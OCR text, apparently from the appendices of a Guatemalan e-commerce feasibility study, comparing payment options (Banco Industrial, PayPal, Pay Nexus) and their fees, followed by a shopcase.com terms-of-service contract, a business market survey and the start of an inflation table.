Proceso de generacién orden de pago

El sistema en el banco requiere que se identifique un cliente con su identificador; en
este caso el cliente en si no importa y el identificador seria el nimero de factura emitida
pendiente de pago. Mientras que la factura no haya sido pagada, el sistema no libera el

producto para que este sea enviado y/o entregado.
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Proceso de pago por servicio y/o producto

Ya con la orden de pago generada el usuario debe:

1. Acceder a su usuario de Bl - en linea.

2. Buscar a la empresa en la lista localizada en la seccion de pago de servicios.

3. Ingresar el numero de factura que desea cancelar.

4. Ingresar el monto de la factura a pagarse.

5. Confirmar los datos de la factura.

6. Aceptar realizar la transferencia bancaria de su cuenta (la que haya sido seleccionada) a la

cuenta que la empresa ha designado para los pagos de sus clientes.

Ventajas
1. Esseguroya que es avalado por el banco.

2. El banco proporciona la construccion del a interfaz de pago.

Desventajas
1. Es obligatorio, tanto para la empresa como para el cliente, tener cuenta en el
Banco Industrial.
2. Se paga una cuota por transaccion.

3. El proceso no es muy automatizado por lo que se presta a errores.

PayPal

PayPal funciona como un intermediario entre el vendedor y el comprador. Actualmente es uno
de los servicios mas usados para realizar compras en linea. Para tener una cuenta en PayPal es

necesaria una cuenta bancaria en los diversos paises afiliados o una tarjeta de crédito.
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Procedimiento de compra

1. Se debe seleccionar el tipo de pago (Tarjeta de crédito, transferencia bancaria, etc.)

2. PayPal hace la transferencia segura y deposita el dinero en la cuenta de PayPal del

vendedor.

Procedimiento de venta

1. El comprador debe seleccionar su tipo de pago.
2. PayPal hace la transferencia a la cuenta de PayPal
3. Este dinero puede ser transferido a cualquier cuenta bancaria o puede ser
gastado en linea.
Precios
1. Para efectuar un pago PayPal no hace ningun recargo al cuentahabiente.
2. Para recibir un pago hay varias categorias y cada categoria hace un recargo
distinto:
Rango del monto Cargo Precio de transaccién
Menores a los $3,000.00 2.9% $0.30
$3,000.1 - $10,000.00 2.5% $0.30
$10,000.01 - $100,000.00 2.2% $0.30
Mayores a los $100,000 1.9% $0.30
Ventajas
1. Es mundialmente utilizado.
2. Esseguro.
3. Esfécil de utilizar.

Desventajas
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No es legal en Guatemala ya que estas transacciones no pagan impuestos (IVA). A partir de

Septiembre de 2010 los servicios de PayPal ya estan disponibles en Guatemala.

Pay Nexus

Pay Nexus permite a los usuarios realizar transferencias bancarias por internet y recibir o gastar
dinero online. Esto se hace por medio de una cuenta (correo electrénico) y desde la pagina

https://www.paynexus.com. Con Pay Nexus se pueden tener dos tipos de cuenta; cuenta

personal y la cuenta empresarial.

I. Cuenta personal:
1. Se debe tener una cuenta bancaria en los bancos afiliados. (BAM, Banco de crédito,
Banrural, G&T Continental).
2. Contar con servicio de banca en linea.
3. Beneficios:
A. Compra por internet si utilizar tarjeta de crédito.
B. Transacciones gratuitas

C. Confidencialidad.

[I. Cuenta empresarial:
1. Bajatasa de comision.
2. Permiten los micro-pagos.
3. Requisitos para la afiliacion:
Firmar el contrato
Copia de patente
Copia de escritura constitutiva de la empresa.
Copia de representacion legal

Copia de la cédula del representante legal de la empresa.


https://www.paynexus.com/
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4. Costos por recibir pagos:

RANGO DE PAGO (en Quetzales) PORCENTAJE
De 1a 24,000 3.2%
De 24,001 a 80,000 2.8%
De 80,001 a 140,000 2.5%
De 140,001 a 200,000 2.2%
De 200,001 a 800,000 2.0%
De 800,001 en adelante 1.8%

Ventajas:

Es muy util cuando el cliente no tiene una tarjeta de crédito.

Desventajas:

Para las empresas se cobra un porcentaje por venta.
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I. Contrato General de Suscripcidn

Condiciones de uso de Shopcase.com:

Al hacer clic en el botén "acepto", el usuario acepta las siguientes condiciones que rigen el
uso del servicio en linea de shopcase.com, incluidos los componentes fuera de linea
(conjuntamente, el servicio). Si acepta este contrato en nombre de una empresa u otra entidad
legal, manifiesta que dispone de la autoridad para obligar a dicha entidad a someterse a estas
condiciones, en cuyo caso los términos "usuario" y "su" se referirdn a dicha entidad. Si no
dispone de esa autoridad o no acepta estas condiciones, deberd seleccionar el botén "rechazo"

y no podra utilizar el servicio.

Bienvenido

Como parte del Servicio, shopcase.com le permitird el uso del servicio, que incluye una
interfaz basada en el explorador asi como el cifrado, la transmision, el acceso y el
almacenamiento de datos. Su registro o uso del servicio se considerara su consentimiento para
cumplir este contrato, incluido cualquier material disponible en el sitio web de shopcase.com
incorporado como referencia en este documento, que incluye entre otras las politicas de
privacidad y seguridad de shopcase.com. A modo de referencia, al final de este contrato se

incluye una seccion de definiciones.

1. Privacidad y seguridad. Declaracion

Las politicas de privacidad y seguridad de shopcase.com se pueden consultar en
http://www.shopcase.com/privacidadyseguridad shopcase.com se reserva el derecho a
modificar sus politicas de privacidad y seguridad seguin su propio criterio cuando lo considere
necesario. Cuando los usuarios particulares inicien sesién por primera vez, se les preguntara si

desean recibir comunicaciones de marketing y relacionadas con otros servicios no esenciales por
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parte de shopcase.com cada cierto tiempo. Pueden decidir no recibir esas comunicaciones en
ese momento o posteriormente cambiando las preferencias en configuraciéon personal. Tenga
en cuenta que dado que el servicio es una aplicacién alojada en linea, puede que shopcase.com
tenga que notificar ocasionalmente a todos los usuarios del servicio (hayan decidido o no dejar
de recibir comunicaciones como se ha descrito anteriormente) los avisos importantes relativos

al funcionamiento del servicio.

2. Concesiodn de licencia y restricciones

Por el presente contrato shopcase.com le concede el derecho mundial, no transferible y no
exclusivo de utilizar el servicio, Unicamente para su propio uso empresarial interno sujeto a las
condiciones de este contrato. Todos los derechos no concedidos expresamente quedan

reservados a shopcase.com y sus licenciantes.

No podra acceder al servicio si es un competidor directo de shopcase.com, salvo con el
consentimiento previo por escrito de shopcase.com. Asimismo, no podra acceder al servicio con
fines de supervision de disponibilidad, rendimiento o funcionalidad u otros fines competitivos o

de punto de referencia.

No podrd (i) conceder la licencia, sublicenciar, vender, revender, transferir, asignar,
distribuir o explotar comercialmente de cualquier otra manera o poner a disposicién de terceros
el Servicio o el Contenido; (ii) modificar o realizar trabajos derivados basados en el servicio o
contenido; (iii) crear "vinculos" de internet al servicio o "enmascarar" o "duplicar" el contenido
de cualquier otro servidor o dispositivo inaldmbrico o basado en Internet; o (iv) realizar
ingenieria inversa o acceder al servicio para (a) crear un producto o servicio competitivo, (b)
crear un producto utilizando ideas, caracteristicas, funciones o graficos similares a los del
servicio o (c) copiar ideas, caracteristicas, funciones o graficos del servicio. Las licencias de

usuario no se pueden compartir o utilizar por mas de un Unico usuario, pero se pueden
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reasignar en un momento dado a nuevos usuarios que sustituyan a usuarios anteriores que
hayan finalizado su trabajo o cambiado el estado o la funcién laboral y no vayan a seguir

utilizando el servicio.

Puede utilizar el servicio sélo con fines empresariales internos y no podra: (i) enviar correo
basura o mensajes duplicados o no deseados que infrinjan las leyes aplicables; (ii) enviar o
almacenar material ilicito, obsceno, amenazante, difamatorio, ilegal o agravioso, incluido
material perjudicial para los nifios o que infrinja los derechos de privacidad de terceros; (iii)
enviar o almacenar material que contenga software con virus, gusanos, troyanos o cddigos,
archivos, secuencias de comandos, agentes o programas informaticos dafiinos; (iv) interferir o
afectar a la integridad o rendimiento del servicio o a los datos que contiene; o (v) intentar

obtener acceso no autorizado al servicio o los sistemas o redes relacionados.

3. Sus responsabilidades

El usuario es responsable de toda actividad que se produzca en su cuenta de usuario y debe
atenerse a todas las leyes, tratados y regulaciones aplicables ya sean de ambito local, estatal,
nacional o internacional relacionados con el uso del servicio, entre los que se incluyen los usos
relacionados con la privacidad de datos, comunicaciones internacionales y la transmisién de
datos técnicos o personales. Debe: (i) notificar a shopcase.com de forma inmediata de cualquier
uso no autorizado de contrasefas o cuentas o cualquier otro incumplimiento de la seguridad
conocido o que se sospeche; (ii) informar a shopcase.com de forma inmediata y hacer todo lo
posible para detener inmediatamente cualquier copia o distribucion del contenido de la que
tenga conocimiento o sospeche, tanto el usuario como sus usuarios secundarios; y (iii) no
hacerse pasar por otro usuario de shopcase.com u ofrecer informacién de identidad falsa para

obtener acceso al Servicio o utilizarlo.
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4. Informacidn y datos de la cuenta

Shopcase.com no es propietario de ninguna informacidn o material que envie al servicio
durante su uso del servicio ("Datos del cliente"). El usuario y no shopcase.com sera el Unico
responsable de la exactitud, calidad, integridad, legalidad, fiabilidad, idoneidad y derecho de
propiedad intelectual en el uso de todos los datos del cliente y shopcase.com no serd
responsable de la eliminacidn, correccidn, destruccién, daio, pérdida o error surgido durante el
almacenamiento de los datos del cliente. En caso de extincion de este contrato (por otro motivo
distinto de su incumplimiento), shopcase.com pondra a su disposicién un archivo con los datos
del cliente durante un periodo de treinta (30) dias tras la extincidn, si lo solicita en el momento
de la resolucién del contrato. Shopcase.com se reserva el derecho de retener, eliminar y/o
desechar los datos del cliente sin previo aviso por motivo de su incumplimiento, dentro del que
se incluye, aunque no de forma exclusiva, su impago. En caso de extincién por motivo
justificado, cesard inmediatamente su derecho a acceder o utilizar los datos del cliente y

shopcase.com no tendra la obligacién de conservar o enviar los datos del cliente.

5. Propiedad intelectual

Shopcase.com es el propietario de todos los derechos e intereses, entre los que se incluyen
todos los relacionados con el derecho de la propiedad intelectual en la tecnologia, el contenido
y el servicio de shopcase.com y de cualquier sugerencia, idea, solicitud de mejora, comentario,
recomendacion o cualquier otra informacion que haya ofrecido el usuario o cualquier otra parte
relacionada con el servicio. Este contrato no supone una venta y no le otorga ningun derecho de
propiedad sobre el servicio, la tecnologia de shopcase.com o los derechos de propiedad
intelectual que ostenta shopcase.com. El nombre shopcase.com, el logotipo de shopcase.comy
los nombres de productos asociados con el servicio son marcas comerciales de shopcase.com o

de terceros y no se otorga ningun derecho o licencia para su uso.
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6. Interaccion con terceros

Durante el uso del servicio puede compartir correspondencia, adquirir bienes o servicios o
participar en promociones de anunciantes o patrocinadores que muestren sus bienes y/o
servicios a través del servicio. Cualquiera de estas actividades y cualquier condicion,
manifestacion o garantia asociada a dichas actividades es exclusiva entre el usuario y dichos
terceros. shopcase.com no tienen responsabilidad u obligacion alguna ante esa
correspondencia, adquisicion o promocidn entre el Usuario y dichos terceros. shopcase.com no
respalda ningun sitio de Internet al que se acceda a través del servicio. Shopcase.com le ofrece
estos vinculos para su comodidad y en ningln caso shopcase.com serdan responsables del
contenido, los productos u otros materiales disponibles en dichos sitios. shopcase.com le ofrece
el servicio de conformidad con las condiciones de este contrato. No obstante, el usuario admite
qgue otros proveedores de software, hardware o servicios secundarios pueden requerir su
aceptacion de otra licencia diferente o adicional u otras condiciones antes de poder utilizar o

acceder a dicho software, hardware o servicios.

7. Cargas y pagos de tasas

Debe pagar todas las tasas y cargos de su cuenta conforme a las condiciones vigentes de
tasas, cargas y facturacién en el momento en que una tasa sea pagadera. No se pueden cancelar
las obligaciones de pagos ni se pueden reembolsar las cantidades pagadas. Tiene la
responsabilidad de pagar todas las licencias de usuario solicitadas para todo un periodo de
licencia, tanto si dichas licencias de usuario estan en uso como si no. Deberd indicar a
shopcase.com el nimero de una tarjeta de crédito valida o informacidn aprobada de pedido de
compra como condicion a la inscripcidon en el servicio. Shopcase.com se reserva el derecho a
modificar las tasas y cargas y a introducir nuevas cargas en cualquier momento, con una
notificacidon previa de al menos treinta (30) dias que puede realizarse por correo electrénico.
Todas las condiciones sobre los precios son confidenciales y el usuario acepta no revelarlas a

terceros.
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8. Tarifa de almacenamiento de datos adicionales

El espacio de almacenamiento de disco maximo que se le ofrece de forma gratuita es de
quinientos (500) MB. Si la cantidad de almacenamiento de disco necesitada supera estos limites,
se le cargara la tarifa de almacenamiento vigente en ese momento. Shopcase.com intentara
avisarle en la medida de lo posible cuando el almacenamiento medio utilizado alcance el
noventa por ciento (90 %) aproximadamente; no obstante, si shopcase.com no le notifica esta
situacién ello no exime su responsabilidad ante las cargas de almacenamiento adicional.
Shopcase.com se reserva el derecho de establecer o modificar su proceder habitual y los limites

en relacion con el almacenamiento de datos del cliente.

9. Facturacién y renovacion

Shopcase.com cobra por adelantado el uso del Servicio. Shopcase.com renovard
automaticamente y le cargara en su tarjeta de crédito o emitird una factura (a) cada mes para
las licencias mensuales, (b) cada trimestre para las licencias trimestrales, (c) cada afio siguiendo
la fecha en la que se contrajo la licencia anual o (d) en cualquier otra frecuencia acordada de
forma mutua. Las tasas de otros servicios se cargaran segun el presupuesto. Las tasas de
shopcase.com no incluyen impuestos o gravdmenes de las autoridades tributarias y el Usuario

serd responsable del pago de dichos impuestos o gravdmenes.

Acepta ofrecer informacién completa y precisa de facturacién y de contacto a
shopcase.com. Esta informacién incluye el nombre de la compaiiia, Nimero de ldentificacién
Tributaria (NIT) direccidn fisica, direccion de correo electrénico, nombre y nimero de teléfono
de un contacto autorizado para la facturacion. Se compromete a actualizar esta informacién en
un plazo de treinta (30) dias tras cualquier modificacion. Si la informacién de contacto que ha
ofrecido es falsa o fraudulenta, shopcase.com se reserva el derecho de cancelar el acceso al

servicio, asi como de emprender cualquier otra medida legal.
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A menos que shopcase.com bajo su propio criterio determine lo contrario: (i) las entidades
con sedes y una mayoria de usuarios residentes en Guatemala recibirdn sus facturaciones en
Quetzales y estaran sujetas a las condiciones de pago y precios de Guatemala. ("Clientes de
Guatemala."); (ii) todas las demas entidades recibiran sus facturaciones en ddlares
estadounidenses, y estaran sujetas a las condiciones de pago y precio de EE.UU. o de otros

paises segun el criterio propio de shopcase.com ("Clientes no guatemaltecos").

Si considera que su factura no es correcta, debera ponerse en contacto con nosotros por
escrito en un periodo de treinta (30) dias desde la fecha de la factura que contiene la cantidad

en cuestion para poder recibir una rectificacion o crédito.

10. Impago y suspension

Ademds de otros derechos otorgados a shopcase.com por el presente contrato,
shopcase.com se reserva el derecho a suspender o extinguir este contrato y el acceso al servicio
por parte del usuario si su cuenta se convierte en morosa (incurre en retrasos de pagos). Las
facturas morosas (cuentas con retrasos en los pagos) estan sujetas a un interés del dos por
ciento (2 %) por mes del saldo pendiente, mas todos los gastos de la recaudacion. Se seguira
cargando al Usuario las tasas de las licencias de usuario durante cualquier periodo de
suspension. Si el usuario o shopcase.com resuelve este contrato, el usuario tendra que pagar el
saldo pendiente de su cuenta computado conforme a la seccién anterior cargas y pagos de
tasas. Acepta que shopcase.com pueda cargar las tasas pendientes en su tarjeta de crédito o

facturarle dichas tasas.

Shopcase.com se reserva el derecho a imponer una tarifa de reconexién en caso de que el
usuario haya sido suspendido y posteriormente haya solicitado el acceso al servicio. Acepta y

reconoce que shopcase.com no tienen la obligacién de conservar los datos del cliente y que
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dichos datos se podran borrar definitivamente si su cuenta se mantiene morosa durante treinta

(30) o mas dias.

11. Finalizacién por expiracion/reduccion del nimero de licencias

El Periodo inicial serd un (1) afio o segun se acuerde de forma mutua, que se inicie en la
fecha que haya acordado hacer efectivo el servicio al cumplimentar el formulario de inscripcién
en linea o en la fecha de acuerdo mutuo. Una vez expirado el periodo inicial, este contrato
renovara automaticamente los periodos sucesivos con la misma duracién del periodo inicial (o
de un afio, si el Periodo inicial es mayor a un afo) aplicando la tarifa de shopcase.com en ese
momento. Ambas partes pueden resolver este contrato, con efecto sélo con la expiracion del
periodo de licencia vigente en ese momento, notificando a la otra parte por escrito con un
minimo de cinco (5) dias habiles antes de la fecha de la factura del siguiente periodo. En caso de
extincion de este contrato (por otro motivo distinto de su incumplimiento), shopcase.com
pondra a disposicidon del usuario un archivo con los datos del cliente durante un periodo de
treinta (30) dias tras la extincion, si lo solicita en el momento de la resolucién del contrato.
Acepta y reconoce que shopcase.com no tiene la obligacién de conservar los datos del cliente y

podra borrar dichos datos en mds de treinta (30) dias tras la resolucion.

12. Finalizacion por motivo justificado

Cualquier incumplimiento de sus obligaciones de pago o uso no autorizado de la tecnologia
o el servicio de shopcase.com supondrd el incumplimiento material de este contrato.
shopcase.com, bajo criterio propio, puede cancelar su contrasefa, cuenta o uso del servicio si
incumple este contrato o no se atiene a sus condiciones. Acepta y reconoce que shopcase.com
no tiene la obligacion de conservar los datos del cliente y podrd borrar dichos datos, si ha
incumplido materialmente este contrato, por causas entre las que se incluye el impago de las
tasas pendientes, y dicho incumplimiento no se ha subsanado en un periodo de treinta (30) dias

tras el aviso de incumplimiento.
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13. Manifestaciones y garantias

Cada parte declara que tiene capacidad y autoridad legal para contraer este contrato.
Shopcase.com declara que ofrecerd el servicio conforme a los estdndares generales del sector
aplicables a estas disposiciones y que el servicio se realizara basicamente de acuerdo con la
documentacién de ayuda en linea de shopcase.com en circunstancias normales. El usuario
declara que no ha falsificado su identidad ni ha ofrecido informacién falsa para obtener acceso

al servicio y que su informacién de facturacion es correcta.

14. Indemnizacion mutua

Tendra que eximir a shopcase.com, sus licenciantes y a cada organizacién principal, filial,
afiliado, directivo, director, empleado, representante legal y agente de éstos de toda
responsabilidad derivada de cualquier reclamacién, costes, dafios y perjuicios, pérdidas,
obligaciones y gastos (incluidos los honorarios y las costas) surgidos a raiz de: (i) una
reclamaciéon que alega que el uso de los datos del cliente infringe los derechos de terceros o ha
provocado dafios a terceros; (ii) una reclamacidon que, en caso de ser cierta, constituiria el
incumplimiento de sus declaraciones; o (iii) una reclamacién derivada del incumplimiento de
este contrato por parte del usuario o de sus usuarios secundarios, siempre que en ese caso
shopcase.com (a) le notifique por escrito la reclamacidon de forma inmediata; (b) le otorgue
control exclusivo de la alegacién y resolucidon de la reclamacién (siempre que no resuelva o
alegue ninguna reclamacién a menos que exima de toda responsabilidad a shopcase.com de
forma incondicional y dicha resolucion no afecte al servicio o la actividad de shopcase.com); (c)
le ofrezca toda la informacién y ayuda de la que dispone; y (d) no haya comprometido o resuelto

dicha reclamacion.

Shopcase.com tendrd que eximir al usuario y a sus organizaciones principales, filiales,
afiliados, directivos, directores, empleados, representantes legales y agentes de éstos de toda

responsabilidad derivada de cualquier reclamacién, costes, dafios y perjuicios, pérdidas,
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obligaciones y gastos (incluidos los honorarios y las costas) surgidos a raiz de: (i) una
reclamacién que alegue que el Servicio infringe directamente un derecho de copyright, una
patente emitida en la fecha de entrada en vigor o una marca comercial de un tercero; (ii) una
reclamacién que, en caso de ser cierta, constituiria el incumplimiento de las declaraciones de
shopcase.com; o (iii) una reclamacién derivada del incumplimiento de este contrato por parte
de shopcase.com, siempre que el usuario (a) notifique la reclamacion de inmediato por escrito a
shopcase.com; (b) otorgue el control exclusivo a shopcase.com de la alegacion y resolucién de la
reclamacion (siempre que shopcase.com no resuelva o alegue ninguna reclamacién a menos que
exima al Usuario de toda responsabilidad de forma incondicional); (c) ofrezca a shopcase.com
toda la informacién y ayuda de la que dispone; y (d) no haya comprometido o resuelto dicha
reclamacion. shopcase.com no estara obligado a indemnizarle y el usuario tendrd que
indemnizar a shopcase.com conforme a este contrato por las reclamaciones derivadas de
cualquier incumplimiento surgido de la combinacién del servicio con cualquier otro producto,

servicio, hardware o proceso empresarial.

15. Descargo de responsabilidad

Shopcase.com no declara ni garantiza la fiabilidad, idoneidad, calidad, adaptabilidad,
veracidad, disponibilidad, precision o totalidad del servicio o su contenido. Shopcase.com no
declara ni garantizan que (a) el uso del servicio sea seguro, oportuno, ininterrumpido o que
funcione sin errores o en combinacién con otro hardware, software, sistema o datos; (b) el
servicio satisfaga sus necesidades o expectativas; (c) cualquier dato almacenado sea preciso o
fiable; (d) la calidad de cualquier producto, servicio, informacion u otro material adquirido a
través del servicio satisfaga sus necesidades o expectativas; (e) los errores o defectos se corrijan;
o (f) el servicio o los servidores que posibilitan el servicio no contengan virus u otros
componentes dafiinos. El servicio y todo su contenido se ofrece al usuario tal cual
exclusivamente. Todas las condiciones, manifestaciones y garantias, tanto explicitas como
implicitas, legales o de cualquier otro tipo, entre las que se incluye cualquier garantia implicita

de comerciabilidad, adecuacién a cualquier propdsito especifico o la no violacion de los
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derechos de terceros, quedan denegadas de este modo en la maxima extensién permitida por la

ley aplicable por shopcase.com.

16. Retrasos de Internet

Los servicios de shopcase.com pueden estar sujetos a limitaciones, retrasos y otros
problemas inherentes al uso de internet y las comunicaciones electrénicas. Shopcase.com no se
hace responsable de los retrasos, fallos de entrega u otros dafios provocados por dichos

problemas.

17. Limitacion de responsabilidad

En ningln caso la responsabilidad total de cualquiera de las partes podra exceder las
cantidades realmente pagadas o pendientes en el periodo de doce (12) meses inmediatamente
anterior a la presentacion de dicha reclamacion. En ningln caso ninguna de las partes y/o sus
licenciantes seran responsables ante terceros de dafios indirectos, punitivos, especiales,
ejemplares, accidentales, emergentes o de otro tipo (entre los que se incluyen la pérdida de
datos, ingresos, beneficios, uso o de otras ventajas econdmicas) derivados de o relacionados de
cualguier manera con este servicio, entre los que se incluye el uso o la incapacidad de utilizar el
servicio, o por cualquier contenido obtenido a través del servicio, cualquier interrupcion,
imprecisidn, error u omisién, independientemente de la causa del contenido, incluso si la parte
gue ha provocado los dafios o los licenciantes de dicha parte han advertido previamente acerca

de la posibilidad de tales dafos.

18. Derechos adicionales

Algunos paises, estados y/o jurisdicciones no permiten la exclusién de las garantias
implicitas o la limitacion de responsabilidad por dafios accidentales, emergentes o de otro tipo,

de manera que puede que las exclusiones establecidas anteriormente no sean aplicables.
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19. Leyes locales y control de exportacion

Este sitio ofrece servicios y utiliza software y tecnologia que pueden estar sujetos a los
controles de exportacién de Guatemala gestionados por el Departamento de Comercio de
Guatemala. El usuario de este sitio ("Usuario") reconoce y acepta que el sitio no se utilizara y
gue ninguna informacidn, software o tecnologia subyacente se podra transferir, exportar o
volver a exportar a los paises con los que Guatemala mantenga un embargo (conjuntamente,
"Paises embargados"). Las listas de paises embargados y ciudadanos designados estan sujetas a
cambio sin previo aviso. Al utilizar el servicio, el usuario declara que no se encuentra en un pais
embargado o bajo el control del mismo ni es ciudadano o residente de dicho pais o esta
considerado como ciudadano designado. Acepta cumplir estrictamente con todas las leyes de
exportacion de Guatemala y asume su responsabilidad exclusiva de obtener las licencias para

exportar o volver a exportar seglin sea necesario.

Shopcase.com no garantiza que el servicio sea apropiado o esté disponible para su uso en
otras ubicaciones. Si utiliza el servicio fuera de Guatemala, serd el Unico responsable del
cumplimiento de las leyes aplicables, entre las que se incluyen las regulaciones de importacién y
exportacion de otros paises. Queda prohibida cualquier desviacién del contenido contraria a las
leyes Guatemala. Ni el contenido ni la informacién adquirida mediante el uso del Servicio se

utilizara para actividades terroristas, nucleares, armas quimicas o bioldgicas o proyectiles.

20. Aviso

Shopcase.com podra avisar por medio de aviso general del Servicio, mensaje de correo
electronico a su direccion de correo electrénico registrada en la informacién de cuenta de
shopcase.com o mediante comunicaciones escritas enviadas por correo ordinario a la direccion

registrada en la informacion de cuenta de shopcase.com. Dicho aviso se considerara entregado
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pasadas cuarenta y ocho (48) horas después del envio postal (si se envia por correo ordinario) o
pasadas doce (12) horas después del envio (si se ha realizado por correo electrdnico). Podra
enviar un aviso a shopcase.com (que se considerara entregado cuando shopcase.com lo reciba)
en cualquier momento por una de las siguientes vias: envio de carta por fax confirmado a
shopcase.com al nimero de fax siguiente: (502) (teléfono de Shopcase); carta entregada por
servicio de mensajeria de entrega al dia siguiente reconocido nacionalmente o envio postal con
franqueo pagado a shopcase.com a las siguiente direccion: shopcase.com, (direccion de

shopcase).

21. Modificacion de las condiciones

Shopcase.com se reserva el derecho a modificar las condiciones de este contrato o sus
politicas relativas al servicio en cualquier momento, haciéndose efectivas tales modificaciones
una vez publicada una versién actualizada de este contrato en el servicio. El usuario sera
responsable de la revision con regularidad de este contrato. El uso continuado del servicio

después de dichas modificaciones constituird su conformidad con las modificaciones.

22. Cesion, cambio de control

El usuario no podra ceder este contrato sin el consentimiento previo por escrito de
shopcase.com pero shopcase.com podra cederlo sin su consentimiento a (i) una organizacion
principal o filial, ii) un inversor o (iii) un sucesor por fusion. Queda anulada cualquier pretension
de cesién que infrinja lo estipulado en esta seccién. Cualquier cambio de control real o
propuesto que dé como resultado que un competidor directo de shopcase.com posea o controle
directa o indirectamente un usuario permitird a shopcase.com resolver este contrato por

motivos justificados de forma inmediata con aviso por escrito.
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23. General

En relacidn con los clientes de Guatemala, este contrato se regira por las leyes de
Guatemala y quedard controlado por la legislacion guatemalteca, sin considerar la eleccion o los
conflictos de las disposiciones de la ley de cualquier jurisdiccién, y cualquier controversia,
accion, demanda o causa de demanda derivada o relacionada con este contrato o el servicio
estara sujeta a la jurisdiccidn exclusiva de los tribunales ubicados en Guatemala. En relacién con
los clientes que no sean de Guatemala, este contrato se regird por las leyes locales, sin
considerar la eleccién o los conflictos de las disposiciones de la ley de cualquier jurisdiccién, y
cualquier controversia, accion, demanda o causa de demanda derivada o relacionada con este
contrato o el servicio estara sujeta a la jurisdiccion exclusiva de los tribunales locales. La
informacién o texto establecido en cualquier otro pedido de compra, formulario o documento
impreso (distinto de un formulario de pedido, cuando sea aplicable) no podra agregar o variar
las condiciones de este contrato. Si un tribunal de jurisdiccion competente considera una
disposicidn de este contrato no valida o nula, dicha disposicidn se interpretard, en la medida de
lo posible, para reflejar las intenciones de la disposiciéon no valida o nula, quedando las demas
disposiciones totalmente vigentes. Este contrato o el uso del servicio no supone el
establecimiento de una empresa conjunta, sociedad, filial o relacién empresarial entre el usuario
y shopcase.com. Si shopcase.com no logra que se cumpla cualquier derecho o disposicion de
este contrato no constituird una renuncia de tal derecho o disposicion a menos que asi lo
reconozca shopcase.com por escrito. Este contrato, junto con cualquier formulario de pedido
aplicable, comprende el acuerdo total entre el usuario y shopcase.com y sustituye todas las
negociaciones, debates y acuerdos anteriores o actuales, tanto orales como escritos, entre las

partes involucradas en el asunto tratado en el presente contrato.

24. Definiciones

Segun se utiliza en este contrato y en cualquier acuerdo mutuo asociado a éste: “Contrato”
hace referencia a estas condiciones de uso en linea, cualquier formulario de pedido, tanto

escrito como enviado por Internet y cualquier material disponible en el sitio web de



414

shopcase.com incorporado especificamente por referencia en el presente documento, dado que
shopcase.com puede actualizar dichos materiales, entre los que se incluyen las condiciones de
este contrato, en cualquier momento y bajo su propio criterio; “Contenido” hace referencia a la
informacién audiovisual, documentos, software, productos y servicios incluidos o puestos a
disposicion del usuario durante el uso del servicio; “Datos del cliente” hace referencia a
cualquier dato, informacién o material que el usuario haya ofrecido o enviado al servicio
durante el uso del servicio; “Fecha de entrada en vigor” hace referencia a la primera fecha de
entre la fecha en la que se acepta este Contrato al seleccionar la opcién “Acepto” que aparece
en la pantalla una vez mostrado este contrato y la fecha en la que el usuario comienza a utilizar
el servicio; “Periodo inicial” hace referencia al primer periodo en el que esta obligado a pagar
por el servicio que es igual a la frecuencia de facturacién que el usuario ha seleccionado durante
el proceso de inscripcidn (p. €j., si la frecuencia de facturacion es trimestral, el Periodo inicial
sera el primer trimestre); “Derechos de propiedad intelectual” hace referencia a los inventos no
patentados, aplicaciones patentadas, patentes, derechos de logotipos, derechos de copyright,
marcas comerciales, marcas de servicio, nombres comerciales, derechos de nombres de
dominio, derechos de disefio, derechos de creacién y otros derechos de secretos comerciales,
asi como todos los demas derechos de propiedad intelectual derivados de éstos y formas de
proteccién de naturaleza similar en cualquier parte del mundo; “Periodo de licencia” hace
referencia al periodo durante el que se concede a un numero especifico de usuarios la licencia
para utilizar el servicio conforme a los formularios de pedidos; “Formulario de pedido” es el
formulario que demuestra la inscripcidn inicial al servicio y cualquier formulario de pedido
posterior enviado por Internet o por escrito, especificando, entre otras cosas, el nimero de
licencias y otros servicios contratados, las tasas aplicables, el periodo de facturacién y otras
cargas acordadas por las partes, donde cada formulario de pedido debe incorporarse y formar
parte de este contrato (en caso de conflicto entre las condiciones de este contrato y las
condiciones de dicho formulario de pedido, prevaleceran las condiciones de este contrato);
"shopcase.com" hace referencia conjuntamente a shopcase.com S.A. una sociedad de

Guatemala.
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J. Formato de Encuesta

Esta encuesta se esta realizando para conocer la factibilidad de un nuevo servicio que le permite
vender sus productos por internet. Sabemos que la confidencialidad de los datos suministrados
es de suma importancia. Nos comprometemos a no guardar ni proporcionar ningun dato sobre

su empresa.

Agradecemos de antemano su colaboracidn para completar el siguiente cuestionario:

1. ¢Qué tipo de producto o servicio comercializa? (Elegir el Principal).

Ropa, accesorios, joyas y relojes

Hotel, carros o viajes

Cosméticos, productos de salud y belleza
Tickets para eventos o servicios

Flores, arreglos o plantas.

Servicios financieros e inversion
Servicios de internet, hosting, dominios
Servicios de mercadeo y publicidad

Artesanias, pinturas y fotografias

Articulos deportivos
Articulos del hogar u oficina, limpieza, pintura, construccién y jardin

Motocicletas, bicicletas, repuestos automotrices

Computadoras, celulares y electrénicos
Libros y revistas
CDs, videos, musica, software o juegos

Juguetes y hobbies

Comidas y bebidas

Otros:

2. ¢Con cudntos empleados cuenta su empresa?

1-10

11-20 21-50 Mas de 50

3. ¢Qué uso le dan al internet en su empresa? (Puede elegir mds de una opcioén).

Como instrumento de comunicacion (Correo electrdnico, chat, redes sociales o pagina web

Como herramienta de busqueda de informacion (Base informativa y documental)
Como canal de gestién (Banca en linea, pago de néminas y transferencias)

Como canal de negocio (Vender por medio de una pagina web propia o externa)

Otros:

4. ¢Suempresa cuenta con pagina de internet propia?

Si No
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¢Su empresa vende productos por internet a través de una pagina web propia?
Si No

Si su respuesta es No, por favor pase a la pregunta 7.

¢Qué porcentaje representa la venta en linea sobre las ventas totales?
- Menos 10%
11%-20%
- 21%-30%
- 31%-40%
- 41%-50%
- Mds de 50%

- Porfavor pase a la pregunta 9.

éConsidera que la venta por internet puede aumentar sus ventas?
- Si No

éPor qué no vende por internet? (Puede elegir mas de una opcidn).
- Falta de conocimiento

- Hemos investigado pero es muy complicado

- Muy cara la inversidn para la infraestructura necesaria

- No estoy interesado por el tipo de producto

- Otros:

¢Estaria interesado en un servicio integral para vender sus productos por internet,
cobrandole una cuota mensual fija en lugar de una alta inversidn inicial; en donde su
empresa se libera de la infraestructura y del personal necesario. Ademds se
despreocupa de las funciones de sistemas (instalacidn, actualizaciéon y mantenimiento)?
- Si No

¢Cuanto estaria dispuesto a pagar mensualmente por este servicio?
A) Q100-Q200
B) Q201-Q300
C) Q301-Q400
D) Q401-Q500
E) Q501-Q600
F) Mayor a Q600
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Afio Inflacion
2001 7%
2002 8%
